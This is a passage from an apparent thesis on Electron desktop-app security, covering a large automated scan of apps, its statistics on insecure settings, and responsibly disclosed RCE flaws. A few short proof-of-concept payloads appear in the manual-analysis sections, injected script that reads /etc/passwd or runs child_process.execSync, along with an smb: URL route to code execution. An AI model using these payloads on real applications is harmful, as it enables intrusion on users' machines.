possible by either rewriting the check not to rely on any globals that the renderer process could access or by enabling context isolation, requiring a fairly major rewrite of the existing code. A minimal example of this vulnerability to use with Electron Fiddle is available here: https://gist.github.com/3d72d1fe96d3a6e97d24704d278074af 5. Automated Analysis Building on an understanding of what vulnerabilities occur in Electron applications, an analysis of a large number of actual Electron applications for indicators of these vulnerabilities and related problems is presented in this chapter. The goal of this analysis is to gain a broader picture of the security of Electron applications in the wild. To this end, statistics on security-related practices were collected for an empirical analysis. 5.1. Overview For the automated analysis, several tools were developed to collect, prepare, and analyse Electron applica- tions. The analysis is split into three stages. For each stage, a script was written in JavaScript using Node.js. In the first step, a list of potential Electron apps, both open and closed source, is collected. The second stage then tries to download and extract these apps. The open source apps considered here can simply be cloned using Git but for the closed source ones, a method for extracting the source from various binary formats (including .deb, .exe, .dmg, .appimage, etc.) has to be developed. Further, this process has to make sure that the extracted result is actually an Electron app to discard false positives. Finally, the apps can actually be analysed for security-relevant indicators like the Electron version used, the preferences and potential problems. These steps are described in more detail in the following sections. In total, 1,204 applications were found and successfully analysed. The source code for the scripts is available on GitHub: https://github.com/baltpeter/thesis-electron-analysis-src 5.2. Collecting Electron Apps The first step is to collect an adequately large set of actual Electron applications. Two sources are used for this purpose: The Electron app list1 and repositories on GitHub. This is to ensure a representative set of apps that are actually used and to include both open and closed source apps. The Electron app list is maintained by the Electron developers themselves. It has the advantage of already being available as machine-readable YAML manifest files from GitHub2. As such, it can easily be processed by a chain of map() and filter() operations in JavaScript. On GitHub, repositories tagged with electron and with more than 50 stars are collected. While certainly not perfect, the tags provide an easy way to collect only repositories with Electron apps in them. False positives are later filtered out. The star threshold is set to only include apps that actually see some use and to avoid collecting unmaintained forks and test projects or experiments. The desired data is accessed through the GitHub REST API3 using the official octokit/rest.js library4. In addition, the plugin-throttling.js5 and plugin-rest.js6 plugins are used to avoid hitting rate limits. There is some overlap between the sources, mainly in open source apps that are on GitHub and also listed in the app list. These are deduplicated according to the repository URLs, discarding those results 1https://www.electronjs.org/apps 2https://github.com/electron/apps 3https://docs.github.com/en/rest 4https://github.com/octokit/rest.js/ 5https://github.com/octokit/plugin-throttling.js/ 6https://github.com/octokit/plugin-retry.js/ 5.3. Downloading Apps and Source Code Extraction for Closed Source Apps 33 from GitHub that are already present in the app list. Therefore, the inconsistent repository URLs in the app list have to be cleaned by removing the .git suffix and trailing slashes, where present, to make them match the ones returned by the GitHub API. Next, download links for the closed source apps7 have to be collected as the app list only contains the website URL for those. The download links are collected manually for Windows, macOS, and Linux, depending on what platforms the respective apps are offered on. Based on the assumption that extraction would be easier, regular archives like .zip or .tar.gz are preferred over binaries like .exe installers and distribution-specific formats like .deb and .dmg where available. On Linux, distribution-agnostic .appimage files are preferred where available. No .rpm files were selected as all those instances also included a .deb file. In some cases, a repository was found even though none was listed in the YAML manifest. For some apps, no download link was found. This was usually due to them being discontinued, available to paid users only or the provided download links simply not working. All results are saved in a PostgreSQL database. For each app, the slug as a unique ID, name, website URL, and, if applicable, repository URL are saved. For closed source apps, the repository override and the download links for Windows, macOS and Linux (if available) are additionally saved in a separate table. The apps were collected on July 1, 2020, with the script run taking 34 seconds. 906 results were found on the app list and 907 on GitHub. After deduplication, 1,645 apps remained. Of those, 347 didn’t have a repository URL listed but for 198 of them, at least one download link or repository URL was found manually on the same day. This leaves a total of 1,496 apps. 5.3. Downloading Apps and Source Code Extraction for Closed Source Apps After a list of apps has been compiled, they have to be downloaded. For the closed source apps, the source code further has to be extracted. The script for this purpose goes through a list of download strategies for each app, until either one is successful or none are left. The strategies decide whether they were successful by whether they can detect an extracted Electron app afterwards. The following strategies are used (in their preferred order): git clone, Linux binary, macOS binary, Windows binary. The git clone strategy is only tried if a repository is known. It tries to clone this repository using Git and checks if it contains an extracted Electron app. The binary strategies all use the same algorithm. They are only tried if the respective download link is known. They try to download the app and extract the result as explained below. Then, they check whether the extracted result is an Electron app already. Otherwise, they try to find an .asar file. As explained in Section 3.1.2, .asar files are an archive format used to distribute Electron applications. The strategies then try to extract this archive and detect an Electron application. For this detection, the script tries to find a package.json file using a “find nearest file” algorithm. This algorithm recursively searches for the filename in all subdirectories and returns the result with the fewest slashes. If no package.json file is found, the detection returns false. Otherwise, it checks whether it contains an Electron-related dependency, i.e. a package with a name starting with electron. This causes some false positives but many Electron apps don’t explicitly depend on the electron package, so checking for related dependencies is necessary. The related dependencies are mostly Electron-specific libraries and packagers. If no such dependency can be found, which isn’t uncommon either, the app entry point, which is specified 7Here, apps that don’t have a repository URL listed are assumed closed source as opposed to the actual definition of the Open Source Initiative. 5.4. Scanning for Potential Security Problems 34 as main in the package.json file and necessary for Electron apps, is checked for a require('electron') using the detective package8 which finds require() calls by walking the file’s AST. If one is found, true is returned, otherwise false is returned. This approach produces a false negative if a repository or application contains more than one package.json file and the first one found isn’t the right one. This case was not handled as it only appears in very few apps. It was possible to implement the extraction algorithm relying only on p7zip9 for extraction, although an easily extendable implementation was chosen. Using p7zip, most of the encountered archives can already be extracted. However, there are quite a few cases of nested archives that need to be handled. For those, a recursive approach that knows how to handle various types is used. This approach tries to extract known file types until no new files are found anymore. The following file types are handled: .tar.gz and .tar.xz files produce a tarball that needs to be extracted. .deb packages contain control.tar.* and data.tar.* files. Of those, the data.tar.* file contains the actual application and needs to be extracted. .exe files are used by a variety of completely different installers and therefore need different post- processing, most notably: They may contain a .nupkg file which needs to be extracted again. NSIS installers have a folder $PLUGINSDIR with a *.7z file that needs to be extracted. When the extraction is successful, the directory of the extracted Electron app and the successful strategy are saved in a database table. The script can be run in multiple stages as it only iterates over the apps that haven’t been successfully processed before. The download and extraction script was also run on July 1, 2020. It took 3.3 hours. In total, 1,204 apps were successfully downloaded, extracted if necessary, and detected as Electron apps. For the other apps, one of those steps failed, leading to their exclusion from further analysis. This means that either they could not be extracted successfully (because of an invalid archive format or one that wasn’t handled by the script) or no Electron application could be detected in the extracted source (most likely because going by the tag electron on GitHub is of course an over-approximation which will match repositories that are not Electron apps). 5.4. Scanning for Potential Security Problems Finally, the collected apps need to be analysed and scanned for potential security problems. As the basis for this, the third-party Electronegativity10 tool was selected. Electronegativity is an open source security scan- ner specifically for Electron applications, offered by security research and development company Doyensec [74]. It tries to identify misconfigurations and potential problems through a number of checks, which can either be atomic or global. Atomic checks are used to identify basic issues like the value of a flag in a single file, while the global checks work on the set of issues found by the atomic checks, further refining them if necessary to weed out false positives and generate aggregate results. Electronegativity can handle JavaScript, HTML, and JSON files. Each file is first parsed into a format the checks can handle: JSON files are simply passed through JSON.parse() and HTML files are parsed using cheerio11, an alternative implementation of jQuery designed for use in Node.js applications. For JavaScript 8https://github.com/browserify/detective 9https://sourceforge.net/projects/p7zip/ 10https://github.com/doyensec/electronegativity 11https://github.com/cheeriojs/cheerio 5.4. Scanning for Potential Security Problems 35 files, an AST is generated using the Babel parser12, TypeScript ESTree13 or Esprima14 depending on the file type and whether the previous parsers succeeded.15 The parsed files are then run through the individual atomic check functions.16 The checks are passed the generated AST which they can match on to determine the settings used by the developers as well as any other potential issues. Finally, the results collected from the atomic checks are passed through the global check functions17 which, based on having access to all previous results, can decide to remove items that were false positives or add new items knowing that no CSP was found, for example, before being presented to the user. The tool was designed to be used by app developers on their individual apps via the command line. In order to fit the purpose of this thesis, it was extended. Wherever it aligned with the goals of the project, changes were contributed back: First of all, a way to run the scans programmatically was introduced.18 This had already been requested by developers wanting to run Electronegativity in their continuous integration pipelines and then further process the results. Running the tool on a large number of apps revealed a few that caused it to crash. These were fixed.19 Electron has changed the default values for various settings over time. Electronegativity previously did not consider that and always assumed the first version, leading to many false positives. It was extended to take the Electron version into account and pass the respective default values for the settings to the checks. The affected checks were also updated to behave according to those defaults.20 To this end, the Electron version detection was also extended to not only consider the package.json file but also the actual installed packages, as well as a potential package-lock.json or yarn.lock lockfile, depending on what is available.21 This was necessary as many applications, especially those distributed as binaries and without source code available, often don’t include a complete package.json file. To deal with the potential conflicting versions found from the different sources, the oldest is as- sumed as the tool cannot know which one is actually used. Additional changes were also made but not submitted upstream as those are specific to the use case in this thesis: Two checks were added that scan for common functions not specific to Electron that can lead to XSS and code execution when called with user-provided input like element.innerHTML and child_process.exec() respectively. While these are not specific to Electron, they often occur in Electron apps and their use can be an indicator of how security-conscious the developers are. A check was added to collect statistics on how often the Chromium DevTools are enabled. While not a security risk per se, there is little reason to leave them enabled in production apps. 12https://babeljs.io/docs/en/babel-parser 13https://www.npmjs.com/package/@typescript-eslint/typescript-estree 14https://esprima.org/ 15see: https://github.com/doyensec/electronegativity/blob/0885c151624d25acbb01f90a409f4b575ff3f1e8/src/parser/ parser.js 16see: https://github.com/doyensec/electronegativity/blob/0885c151624d25acbb01f90a409f4b575ff3f1e8/src/finder/ finder.js 17see: https://github.com/doyensec/electronegativity/blob/0885c151624d25acbb01f90a409f4b575ff3f1e8/src/finder/ globalchecks.js 18see this pull request: https://github.com/doyensec/electronegativity/pull/64 19see these pull requests: https://github.com/doyensec/electronegativity/pull/65, https://github.com/doyensec/ electronegativity/pull/68 20see this pull request: https://github.com/doyensec/electronegativity/pull/66 21see this pull request: https://github.com/doyensec/electronegativity/pull/67 5.4. Scanning for Potential Security Problems 36 A check was added to collect statistics on what kinds of sites are loaded, i.e. whether local or remotes sites are loaded through window.loadFile() and window.loadURL(). As discussed previously, remote websites are much more dangerous in the context of Electron. loadFile() can only load local sites but loadURL() can load remote and local sites depending on the protocol. For this analysis, http: and https: URLs are considered remote and file: URLs are considered local. Custom protocols are counted separately. All loads to URLs that don’t start with a valid protocol [75] are considered as unknown. Finally, all checks were modified to not only alert when problems are found but to also log “good behaviour” like explicitly enabling security features or disabling dangerous ones. While not relevant to a developer looking for problems in their code, this is necessary to gauge which security features are actually used in the wild. In addition to scanning for issues in the code, the apps are also scanned for known vulnerabilities in their included dependencies. For this, the npm audit command is used. This tool compares the dependencies specified in the package lockfile against a list of known vulnerabilities [27]. Before, this package lockfile needs to be generated from the installed dependencies if it isn’t included in the app distribution anyway. This is done through npm install --package-lock-only. Not all checks included with Electronegativity are run. While certainly useful when testing individual apps, many checks require manual review of the findings. However, the purpose of this analysis is only to collect aggregate statistics on a large number of apps. Therefore, the following general statistics are collected: Which Electron version is used, looking at the package.json, yarn.lock, package-lock.json files and the actual installed dependencies in the node_modules folder and considering the oldest found dependency for electron? How many remote and local sites are loaded using loadURL() and loadFile(), depending on the URL that is passed? How many protocol handlers are registered using one of the following functions: registerHttpProtocol(), registerServiceWorkerSchemes(), registerStringProtocol(), registerBufferProtocol(), registerStandardSchemes(), setAsDefaultProtocolClient(), registerFileProtocol(), registerStreamProtocol()? How many times are dangerous functions, potentially leading to XSS, called with non-literal input? In particular, the following uses are considered: Setting element.innerHTML and element.outerHTML; calling the functions document.write(), document.writeln(), element.insertAdjacentHTML(), eval(), setTimeout(), setInterval() and setImmediate(); calling the Electron-specific functions executeJavascript() and insertCSS(); or using the Function() constructor. How many times are dangerous functions, potentially leading to code execution, called with non-literal input? In particular, the following uses are considered: Calling child_process.exec() and child_process.execSync(); calling child_process.execFile(), child_process.execFileSync(), child_process.spawn() and child_process.spawnSync() with options.shell set to true. How many times is shell.openExternal() called with non-literal input? How many CSPs are defined and how many of those are classified as weak, maybe weak, and strong by Google’s CSP evaluator? CSPs set in HTML and JavaScript are both considered. A CSP is considered weak if the CSP evaluator produces at least one finding of severity high or medium, it is considered maybe weak if the evaluator produces at least one finding of severity high maybe or medium maybe and it is considered strong otherwise. 5.5. Results 37 How many known vulnerabilities are in the dependencies, sorted by low, moderate, high, and critical vulnerabilities as reported by npm audit? Furthermore, the following statistics are collected on the web preferences Electron offers (see Section 3.2.1). For each setting, the checks determine whether it is enabled or disabled explicitly by the developers or im- plicitly through the defaults set by Electron, taking into account the actual version of Electron used by the app. Context isolation (defined as webPreferences.contextIsolation) Chromium DevTools (defined as webPreferences.devTools) Node integration (defined as webPreferences.nodeIntegration (which is the most common method), webPreferences.nodeIntegrationInWorker and webPreferences.nodeIntegrationInSubFrames or as the nodeintegration and nodeintegrationinsubframes attributes of a <webview> tag in HTML) Remote module (defined as webPreferences.enableRemoteModule) Sandbox (defined as webPreferences.sandbox) Web security (defined as webPreferences.webSecurity or the disablewebsecurity attribute of a <webview> tag in HTML) To collect these statistics, a wrapper was developed that iterates over the apps previously added to the database and runs both Electronegativity and npm audit for each one to then aggregate the desired statistics and write them into the database. 5.5. Results The results from analysing the 1,204 apps are presented here. Electron versions In total, 198 different versions of Electron were encountered, starting from 1.0.0 up to 10.0.0-beta.3. For 221 apps, no version could be detected from any of the sources considered for this check (package.json, package-lock.json and yarn.lock files as well as installed packages). Table 5.1 shows the ten most common versions and Figure 5.1 shows the distribution of the different major versions. Looking at the individual releases suggests healthy framework update practices at first glance with version 9.0.5, which was the latest stable release when the apps were downloaded, also being the one which was encountered most often with 38 times. Versions 9.0.4 and 9.0.0 take up the second and fourth ranks with 27 and 20 occurrences respectively. However, version 1.7.5 is in rank three and ranks five and six are taken up by versions 1.6.2 and 1.8.4, respectively. This hints at a frequent use of old and deprecated versions, which is further confirmed by looking at the distribution of the different major versions. Here, the first major version takes the definitive lead with 287 occurrences. Major versions 8 and 9 follow with 136 and 110 occurrences, respectively. The other major versions all saw similar use, occurring in 60 to 90 apps each. This observation is worrying with regards to Electron’s supported versions policy: Only the latest three major versions are supported at any given time [76]. Therefore, only those versions will receive security fixes. There are known high severity vulnerabilities for all major versions up to 8, some with fixes only available for the latest minor versions of the stable branches [77]. 5.5. Results 38 Figure 5.1.: Number of apps found using the respective major Electron version. The ? labels the apps with an undetected version. The versions marked orange were already out of support when the apps were downloaded. Version 10 was still in beta. 1 2 3 4 5 6 7 8 9 10 0 100 200 300 ? Major version Count Table 5.1.: Frequency of individual Electron releases in the scanned apps with their respective release dates [78]. The versions in bold were not supported anymore when the apps were downloaded. Version Count Release date 9.0.5 38 2020-06-22 9.0.4 27 2020-06-12 1.7.5 26 2017-07-17 9.0.0 20 2020-05-19 1.6.2 19 2017-03-01 1.8.4 19 2018-03-16 1.8.8 17 2020-04-30 2.0.8 17 2018-08-22 8.0.0 17 2020-02-03 8.3.0 17 2020-05-15 Types of sites loaded Electron apps can load local and remote sites using loadFile() and loadURL(). In total, 197 remotely and 1,273 locally loaded sites were detected across all apps. 110 sites were loaded using a custom protocol (like app://). These are most likely also local sites. For 1,043 calls, it couldn’t be determined what kind of site was loaded due to the static nature of this analysis. In these cases, the loaded URL depended on environment variables and arguments to functions for example. Further, there were 698 apps with at least one locally loaded site (not including custom protocols) compared to 163 apps with at least one remotely loaded site. Only 51 of those 163 apps loading remote sites didn’t load any local sites. This suggests that most Electron apps actually ship with local sites instead of just wrapping existing websites. Protocol handlers In total, 263 protocol handler registrations were found across all apps. Note that this may include duplicates if different handlers are registered based on certain conditions for example. 148 apps registered at least one protocol handler. 5.5. Results 39 XSS risks Electron apps need to make sure not to let an attacker control the HTML and JavaScript on a page. This can easily go wrong when passing user-controlled data to a dangerous function like executeJavascript() and document.write() or assigning such data to a dangerous property like element.innerHTML. In total, 5,180 such calls or assignments using data that was not a literal were found, with 546 apps including at least one such call or execution. Note that not all of these findings are exploitable but their use is nonetheless discouraged, and they provide a good starting point for a manual analysis. Code execution risks Similarly, dangerous calls to functions like Node.js’ child_process.exec() and child_process.spawn() (only if options.shell === true for the latter) can allow an attacker to execute malicious code on the user’s system. 902 of those calls were found in total and 150 apps included at least one such call. Again, this doesn’t necessarily mean that these apps are exploitable. shell.openExternal() In total, 1,988 potentially dangerous calls to shell.openExternal() were found, with 571 apps including at least one such call. A “dangerous” call in this context means passing something other than a string literal. Therefore, the numbers do include false positives, but they still give a good indication of the prevalence of problems related to shell.openExternal() and the findings are helpful for the manual analysis. CSPs In 1,105 of the 1,204 apps scanned, no CSP was found at all. 211 CSPs were found in total. Of those, 136 were classified as weak and 54 as maybe weak by Google’s CSP evaluator with only 21 being classified as strong. 5 CSPs could not be parsed, either because they were invalid or because they used some templating engine to build the final CSP. Known vulnerabilities in the dependencies For 202 apps, analysing the dependencies failed. Figure 5.2 shows how many known vulnerabilities were found in the dependencies per app, grouped by low, moderate, high, and critical severity. Clearly, vulnerabilities of low severity are the most common by far. These vulnerabilities are usually hard to exploit and have little impact. In addition, some of them are likely not relevant for the end user as the counts include vulnerabilities in the devDependencies, which are only used on the developer’s computer and not included in the final executable. The other severities occur far less often. While there are some outliers, the average Electron app doesn’t include any dependencies with critical vulnerabilities. Web preferences Figure 5.3 shows the distributions of which web preferences are commonly used. For each preference, the supplied settings were classified as either “secure” or “insecure” and it was recorded whether the app explicitly set the preference or relied on the default value. The results clearly show the importance of secure defaults. For all preferences other than Node integration, the vast majority of apps didn’t change the defaults. In the case of the web security setting, this means that most apps are therefore secure in this regard. For settings like context isolation and sandbox, it’s the opposite though with most apps using insecure settings which will make exploitation easier. Node integration, on the other hand, changed to a secure default in Electron 5. The results of this change are visible with a larger percentage of apps using the new default. An even larger percentage however opted to explicitly enable Node integration, most likely so as not to have to migrate their apps. In the future, similar distributions are to be expected for settings like context isolation when these defaults also change. 5.5. Results 40 Figure 5.2.: Number of known vulnerabilities in the dependencies per app, sorted by low, moderate, high and critical severity. The graph on the right simply omits the vulnerabilities classified as low severity, which otherwise make the other severities hard to see. Outliers are omitted in both graphs. Low Moderate High Critical 0 200 400 600 800 Count Moderate High Critical 0 10 20 30 Count Figure 5.3.: Number of apps found using the security-relevant web preference settings at least once. For context isolation, sandbox and web security, ‘secure’ means true, for the others, it means false. Apps may be counted more than once if they have multiple windows with different preferences. Context isolation DevTools Node integration Remote module Sandbox Web security 0 250 500 750 1,000 1,250 Count explicitly secure implicitly secure explicitly insecure implicitly insecure 6. Manual Analysis After the automated analysis, a few apps were also analysed manually to validate the findings and gain an insight into how easy it is to exploit Electron apps. All discovered exploitable vulnerabilities were reported to the developers. In total, six vulnerabilites were reported, all allowing for remote code execution, with one already fixed as of the time of writing. To select the apps for analysis, all scanned apps were sorted by the number of issues reported by Elec- tronegativity. This is of course not an actual indicator of security problems as the tool was modified to also report secure practices for this thesis. It does however give a first idea of which apps might be interesting to look at further. Due to time constraints, only open source apps were considered. Finally, only apps with an apparent way of delivering payloads (like the ability to send messages, share items, or load remote sites) were considered. 6.1. RCE in Jitsi Meet Electron Jitsi Meet is an open source video conferencing software that organizations can deploy on their own servers and that is frequently recommended as an alternative to proprietary solutions [79]. Jitsi Meet Electron is the official desktop client implemented using Electron that can be used both with the official meet.jit.si server as well as any third-party instance. The results from the Electronegativity run revealed the following use of shell.openExternal():1 mainWindow.webContents.on('new-window', (event, url, frameName) => { const target = getPopupTarget(url, frameName); if (!target || target === 'browser') { event.preventDefault(); shell.openExternal(url); } }); This hooks the creation of new windows to instead pass the URL to shell.openExternal() unless a popup target other than browser is registered for the URL and frame name of the new window. These popup targets are however only used to handle windows that should always stay on top2 and are thus not a security check. As mentioned before, the app can be used with third-party servers. As such, it is possible for an attacker to inject a malicious call to window.open() into the pages of their Jitsi Meet instance that will then allow them to pass arbitrary URLs to shell.openExternal() when a user uses their server with the app. The dangers of this were already explained in Section 4.2. In the case of this app, the attack surface was somewhat limited insofar as the external server is loaded through an <iframe> and opening file: URLs was thus blocked. However, all the other protocols could still be used as discussed. For example, a smb: 1Code from https://github.com/jitsi/jitsi-meet-electron/blob/7b2b0c4e710bb626b9d886bb8c283357b223c23b/main. js#L209-L216. 2See: https://github.com/jitsi/jitsi-meet-electron-utils/blob/ba851e726b62e93bdcd7ec69414a9c90e3412d58/ alwaysontop/index.js#L5-L10 6.2. RCE in Desktop App for CMS 42 URL to a .desktop file on a remote server allowed for RCE on Xubuntu 20.04. The attack surface was further extended by the recent introduction of a protocol handler that allows linking to rooms on external servers (using jitsi-meet://jitsi.attacker.tld/dangerous-room) [80]. An attacker could use a link like this to lead a user to use their server without having to set the server URL in the app preferences. The vulnerability was reported to the developers on June 28, 2020. It was tested using the latest release of the app at that time, version 2.2.0. A fix was implemented on June 30, 2020 by filtering the URLs that may be passed to shell.openExternal() to only allow HTTP(S) URLs.3 The fix was released in version 2.3.0 on July 2, 2020. Additionally, the app exposed the shell.openExternal() function on the window object which could be accessed from the renderer process as context isolation is disabled. This was not a critical problem as the remote site is only loaded in an <iframe> and thus doesn’t have access to the app’s window object. However, if an attacker somehow managed to achieve XSS in the renderer process, they could use this to escalate it into RCE. As there were no uses of the exposed function in the code, a recommendation to remove it was also included in the report. This was also implemented by the developers in the same commit. Similar issues have also been found in Rocket.Chat Desktop and Wire Desktop, both allowing for RCE. These have been reported on July 15, 2020. As of the time of writing, they have not been fixed yet and can thus not be described in more detail here. 6.2. RCE in Desktop App for CMS The vulnerability discussed in this section was found in the official desktop app for a popular content management system (CMS). As the vulnerability has not been fixed yet as of the time of writing, the app’s name cannot be mentioned. The code sample shown here is also not taken directly from the app’s source code but has been modified to only demonstrate the concept. The vulnerability allows an attacker who is able to execute JavaScript code in the context of a website that uses this CMS to access privileged Node.js functions and thus gain RCE. The attacker could achieve this by either finding an XSS vector or by having write access to a website that is shared with other users. For example, the attacker could create a website using the CMS, place the payload as described below onto their site and then invite another user to edit the site with them. As soon as this other user opens the website in the desktop app, the attacker gains RCE on their computer. The problem is caused by the app’s use of the unmaintained Devtron4 tool which was a plugin for Electron apps that extended the Chromium DevTools with various Electron-specific features like details on the dependencies and the ability to monitor IPC calls. Devtron needs access to certain Node.js APIs to work. The app exposes them to the window from a preload script like so: window.__devtron = { require: require, process: process }; The user’s site is loaded in an <iframe> which does not have access to this global variable. However, it can be accessed through window.parent.__devtron. Thus, the attacker simply needs to inject the following HTML code into the site to read sensitive data on the user’s system for example. Other possible exploits were already given in Section 4.1. <script> alert(window.parent.__devtron.require('fs').readFileSync('/etc/passwd').toString()); </script> 3See: https://github.com/jitsi/jitsi-meet-electron/commit/ca1eb702507fdc4400fe21c905a9f85702f92a14 4https://github.com/electron-userland/devtron 6.3. XSS and RCE in Note-taking App 43 This vulnerability was tested using the latest version of the app as available on its website. It was reported to the developers on July 26, 2020. No fix has been implemented as of the time of writing. 6.3. XSS and RCE in Note-taking App The vulnerability discussed in this section was found in a note-taking app. As this vulnerability has not been fixed yet either, the details are also obfuscated and the name is not mentioned. First, two XSS vectors were found in the note title field. An attacker can control this value by using the app’s “shared notes” feature which allows multiple users to work on the same note. No special payloads are necessary, the attacker can simply include any HTML, including <script> tags, in the title. The code is executed in two cases: Whenever the app loads the user’s notes and when the user selects multiple notes. In both cases, the app is essentially assigning the note title directly to element.innerHTML like this: function showNote(title, body) { document.getElementById('note-title').innerHTML = `<span class="title">${title}</span>`; // […] } It is further trivially possible to escalate this XSS vector into RCE as the app has Node integration enabled, giving the renderer process access to all Node.js APIs. Ways to exploit this were already given in Section 4.1. The attacker could for example open the calculator on Windows by including the following snippet in the note title: <script> require('child_process').execSync('calculator'); </script> The vulnerability was tested using the latest version of the app as available on its website. It was reported to the developers on June 28, 2020. A follow-up email was sent on July 22, 2020. No response has been received to either as of the time of writing and the vulnerability remains. 6.4. RCE in Bug Tracking App This vulnerability was found in an unofficial companion desktop app for a popular bug tracking website. The app embeds this website and provides additional convenience features like desktop notifications and advanced filtering. As the vulnerability has not been fixed as of the time of writing, the name of the app cannot be mentioned and the details are obfuscated. The attack also works through Electron’s shell.openExternal() as previously discussed. The de- tails here are a little different, though. The app does not just redirect the creation of new windows to shell.openExternal() as seen in Section 6.1 for example. Instead, it adds an event listener for the click event of <a> elements from the renderer process. As this process doesn’t have access to privileged functions by default (although the app could have exposed them as discussed), it instead prints a special message to the console if the link should be opened in the browser: for (const element of document.getElementsByTagName('a')) { element.addEventListener('click', function(event) { 6.4. RCE in Bug Tracking App 44 const url = event.target.href; if (!url.startsWith('https://bug-tracker.tld/')) { event.preventDefault(); console.log(`CMD-OPEN-IN-BROWSER|${url}`); } }); } The main process then adds a listener for console messages that actually passes the respective URLs to shell.openExternal(): window.webContents.addListener('console-message', function(event, level, message) { if (message.startsWith('CMD-OPEN-IN-BROWSER|')) { const url = message.split('CMD-OPEN-IN-BROWSER|')[1]; require('electron').shell.openExternal(url); } }); Thus, an attacker only needs to somehow cause a message of the form OPEN_EXTERNAL_BROWSER:<url> to be logged to the console, where <url> is a payload as described in Section 4.2. This is possible if the user has enabled opening external sites in the app’s internal browser from the settings. Now, the attacker can simply leave a comment with a link to a site containing such a console.log() call in a public bug tracker. Upon clicking this link from the app, the exploit will be triggered. The vulnerability was tested using the latest version of the app from its website. It was reported to the developers on July 26, 2020. No fix has been implemented as of the time of writing. 7. Takeaways 7.1. Security-Consciousness in Electron Apps The previous chapter’s automated analysis produced statistics on the security-related practices of a large number of Electron apps. While these results of course cannot give a complete picture, they do allow gaining some insights into the security-consciousness of Electron apps in the wild. The analysis revealed that about two thirds of the analysed apps used an unsupported version of Electron (i.e. version 6 or below). While the dataset likely contains some apps that have been discontinued and aren’t updated anymore, only apps that are either on Electron’s official app list or have at least 50 stars on GitHub were included, ensuring that the analysis only considers apps that receive at least some use by end users. It also showed common use of dangerous functions. About half of the apps used a function to dangerously insert HTML into the page at least once, almost an eighth of the apps included at least one dangerous call to one of Node.js’ functions for executing code on the host computer and half of the apps called shell.openExternal() at least once. While all these functions can be used securely, it is easy to get wrong and their use is generally discouraged in light of safer alternatives. The manual analysis showed that there are plenty of cases of insecure uses of these functions that in the best case allow an attacker to escalate an attack vector they have found and in the worst case enable attacks in the first place. Some of these problems could have been prevented through the use of a CSP which, when configured correctly, only allows trusted code to be executed and can in that regard stop XSS attacks. Unfortunately, less than 8 % of apps even included a CSP anywhere in their code. And of the CSPs that were found, 90 % were classified as weak or maybe weak by Google’s CSP evaluator. Further, many attacks could have also been prevented or at least lessened in severity by the use of secure web preferences. The analysis showed that those aren’t common either, though. It revealed a heavy reliance on the default values which, as of the time of writing, mostly aren’t optimized for security yet. 75 % of the apps still have Node integration enabled, allowing for trivial escalation from XSS to RCE as discussed. And barely any apps have enabled context isolation despite the explicit recommendations of the Electron developers. Without context isolation, disabling Node integration is of little use as it can usually be bypassed as shown. Finally, the analysis showed a few apps using Electron as a wrapper around existing websites instead of shipping a local site with specific Electron optimizations. As explained in Section 3.3, Electron is not designed as a “browser” and special considerations need to be made in order to allow loading remote sites safely. This thesis didn’t specifically analyse those apps loading only remote sites for whether they chose the correct settings. Given the general tendency to stick with the default values however, one has to assume that many of those apps are configured insecurely and thus risk RCE for their users. Thus, while the situation is definitely improving with secure defaults starting to be introduced and more experience with security problems specifically in the context of Electron leading to better design choices and implementations, a lot of room is still left for improvement. The following two sections will present some suggestions on how this can be achieved. 7.2. Recommendations to Electron Developers 46 7.2. Recommendations to Electron Developers Based on what was learned in this thesis, the following recommendations are made to the Electron de- velopers on how to continue the security improvements and make developing secure Electron applications easier: While there is a comprehensive guide on Electron security1 that explains the importance of keeping Electron apps secure and provides a checklist of aspects to consider, a large part of the Electron documentation is still not written with security in mind, often containing examples that violate the security checklist. For example, the beginner tutorial on writing the first app2 explicitly enables Node integration, overriding the secure default that has been implemented in version 5.0, same as the default boilerplate3 that each Electron Fiddle starts with. The FAQ entry on sharing data between pages4 and the application architecture guide5 both assume that Node integration is enabled and don’t even provide any alternatives on how the desired outcome could be achieved without Node integration. And while the quick start template repository6 doesn’t enable Node integration, it doesn’t follow other recommended practices like enabling context isolation. These are just some examples from the official Electron documentation, not even taking into account third-party sites and tutorials. A developer wanting to learn how to use Electron will, in the best case, be introduced to a world of Node integration always being available, probably not even knowing about context isolation, only to find the security tutorial and have to relearn and reconsider all that. In the worst case, they will stop before finding the security tutorial and assume what they have learned to be the best practices. To encourage secure practices among developers, they need to be featured prominently in the docu- mentation right from the start. Deprecated practices like Node integration should only be mentioned with clear warnings of their problems. Boilerplates and templates need to come with secure settings. A common use case of Electron apps is opening a URL in the user’s default browser instead of the app. Often, shell.openExternal() is used for this purpose. Many developers don’t seem to be aware of the dangers of passing arbitrary inputs to this function, thinking it would just allow opening arbitrary sites in the browser. To combat this problem, a shell.openInBrowser() function should be introduced that can be safely used for this purpose. Ideally, the implementation of this function would include platform-specific handlers to guarantee that it can only be used to open the browser but as a first step, a simple wrapper around shell.openExternal() that filters on the passed URL and only allows http:// and https:// URLs would suffice. Electron grants all permissions to all sites by default. While this is definitely useful for apps that rely on these permissions and the request dialogs that browsers use may not be suitable in the context of desktop applications, many apps don’t need these permissions, and they just present unnecessary attack surface. A reasonable compromise here would be denying all permission requests by default but allowing apps to change this behaviour via the web preferences. The apps that actually need the permissions could then decide whether to always grant them or whether to implement a permission request handler just like currently. But apps that don’t need them couldn’t forget to turn them off anymore. 1https://www.electronjs.org/docs/tutorial/security 2https://www.electronjs.org/docs/tutorial/first-app#electron-development-in-a-nutshell 3https://github.com/electron/fiddle/blob/master/src/content/main.ts 4https://www.electronjs.org/docs/faq#how-to-share-data-between-web-pages 5https://www.electronjs.org/docs/tutorial/application-architecture#using-electron-apis 6https://github.com/electron/electron-quick-start 7.3. Recommendations to App Developers 47 As already requested on the issue tracker of the asar package [30], code signing for .asar files should be possible. Even though the dangers are fairly minimal, there is little reason to enable the Chromium DevTools by default in production builds. 7.3. Recommendations to App Developers Further, the following recommendations are made to developers of Electron apps: Regularly update to the latest Electron version. These often fix security vulnerabilities and update the underlying Chromium and Node.js versions. Without an up-to-date version of Electron, it is impossible to secure an app. In the same vein, the other dependencies also need to be regularly updated. While Electron is slowly migrating to secure defaults, it is important to consciously and proactively set secure preferences, even when this means having to rewrite parts of the application. Most importantly, Node integration should be disabled and context isolation should be enabled, which is also what the Electron developers recommend [38]. The use of automated security scanners like Electronegativity can help catch problems and avoid releasing insecure apps. Not all issues found by such scanners will be relevant, but they should still always be taken seriously. Privileged APIs should only be used carefully. Ideally, they should not be exposed to the renderer process. If that isn’t possible, they need to be wrapped in order to 